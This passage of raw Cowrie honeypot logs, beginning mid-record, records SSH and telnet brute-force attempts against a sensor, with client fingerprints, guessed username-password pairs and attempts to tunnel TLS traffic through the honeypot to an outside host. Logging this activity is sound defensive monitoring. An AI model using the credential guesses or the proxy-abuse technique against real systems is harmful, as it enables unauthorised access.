]\\xb4\\xf9\\x83Z\\xc2\\xd6\\xf4\\xb8(\\x92\\xacu\\xca\\xb8\\xeb:\\xed\\x03\\x1d\\x868\\x15\\x99pK\\x9d}\\x07$\\xd7\\x16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j\\x16=(=\\xee.\\xa5\\xa8\\xafc\\xaaf\\x83k:\\xcb)\\xffy\\x94\\x10SY\\xd7\\xa8\\x9a\\xea\\x9c+\\xce\\xc0 !\\x95\\xc7\\x85\\xe3\\xd0CK\\x91\\x91+\\xdae\\xe0\\xc1\\xf6\\x8e\\x11\\x1c\\xf3\\xf8\\xd8\\xe9O\\xb5\\xe3\\xa1\\r\\xf1\\xa7\\x0e\\xda\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 ]\\xb4\\xf9\\x83Z\\xc2\\xd6\\xf4\\xb8(\\x92\\xacu\\xca\\xb8\\xeb:\\xed\\x03\\x1d\\x868\\x15\\x99pK\\x9d}\\x07$\\xd7\\x16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:08.137803Z","src_ip":"63.141.242.2","session":"32c52a08dd98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:08.255425Z","session":"32c52a08dd98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:08.319185Z","src_ip":"63.141.242.2","session":"32c52a08dd98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc5P\\xf4\\x86W\\xbf\\x16\\xc2\\xcd\\r\\xca}q2\\x11\\x19\\x87;\\xd1\\xa1\\xe0\\xd2\\xac\\tex\\xd56\\x00\\xcb\\xe0\\xdb \\xbc\\xcd\\x9f\\xf0\\xe85u\\xbf\\xcd\\xbfd\\x93M*8\\'K:\\x02\\x9e\\xd5\\n\\x07\\xa4\\xd0\\xf5Jv\\xbb\\xf5b|\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 2-\\x7f\\xe5\\xa5\\xae\\x99\\xca\\'<\"\\xce[\\xd6\\x97\\x9e\\xed\\x02\\x13\\xbe\\x18\\xb0\\r\\xb2\\xbc\\xcc\\x08\\xa2v*X!\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc5P\\xf4\\x86W\\xbf\\x16\\xc2\\xcd\\r\\xca}q2\\x11\\x19\\x87;\\xd1\\xa1\\xe0\\xd2\\xac\\tex\\xd56\\x00\\xcb\\xe0\\xdb \\xbc\\xcd\\x9f\\xf0\\xe85u\\xbf\\xcd\\xbfd\\x93M*8\\'K:\\x02\\x9e\\xd5\\n\\x07\\xa4\\xd0\\xf5Jv\\xbb\\xf5b|\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 2-\\x7f\\xe5\\xa5\\xae\\x99\\xca\\'<\"\\xce[\\xd6\\x97\\x9e\\xed\\x02\\x13\\xbe\\x18\\xb0\\r\\xb2\\xbc\\xcc\\x08\\xa2v*X!\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:08.322907Z","src_ip":"63.141.242.2","session":"32c52a08dd98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56026,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f290915cc22","protocol":"ssh","message":"New connection: 27.71.230.31:56026 (10.17.0.5:22) [session: 2f290915cc22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:09.887194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:09.940243Z","src_ip":"27.71.230.31","session":"2f290915cc22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50136,"dst_ip":"159.203.135.109","dst_port":23,"session":"69930b7274c2","protocol":"telnet","message":"New connection: 172.81.62.90:50136 (159.203.135.109:23) [session: 69930b7274c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:10.113003Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:11.000516Z","src_ip":"27.71.230.31","session":"2f290915cc22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50768,"dst_ip":"159.203.135.109","dst_port":22,"session":"83e6f04bef3e","protocol":"ssh","message":"New connection: 91.92.40.36:50768 (159.203.135.109:22) [session: 83e6f04bef3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:11.394286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:11.745050Z","src_ip":"91.92.40.36","session":"83e6f04bef3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"38.2","message":"Connection lost after 38.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:12.191101Z","src_ip":"63.141.242.2","session":"32c52a08dd98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:12.791483Z","src_ip":"91.92.40.36","session":"83e6f04bef3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1@","message":"login attempt [root/Admin1@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:14.754498Z","src_ip":"27.71.230.31","session":"2f290915cc22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:16.556732Z","src_ip":"27.71.230.31","session":"2f290915cc22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.97536277770996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:16.743109Z","src_ip":"172.81.62.90","session":"46ddc4398c5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32866,"dst_ip":"159.203.135.109","dst_port":22,"session":"08b8b6d0f3ea","protocol":"ssh","message":"New connection: 91.92.40.36:32866 (159.203.135.109:22) [session: 08b8b6d0f3ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:17.817443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:18.021969Z","src_ip":"91.92.40.36","session":"08b8b6d0f3ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:18.613308Z","src_ip":"91.92.40.36","session":"08b8b6d0f3ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"wasd","message":"login attempt [docker/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:20.900112Z","src_ip":"91.92.40.36","session":"83e6f04bef3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu.123","message":"login attempt [ubuntu/Ubuntu.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:21.393218Z","src_ip":"91.92.40.36","session":"08b8b6d0f3ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":52713,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7a1c441e3fb","protocol":"ssh","message":"New connection: 23.175.50.51:52713 (10.17.0.5:22) [session: a7a1c441e3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:22.105795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:22.110873Z","src_ip":"23.175.50.51","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:22.292963Z","src_ip":"23.175.50.51","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32918,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea7c5bdabda8","protocol":"ssh","message":"New connection: 91.92.40.36:32918 (159.203.135.109:22) [session: ea7c5bdabda8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:23.397066Z"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:23.488877Z","src_ip":"91.92.40.36","session":"83e6f04bef3e","protocol":"ssh"}
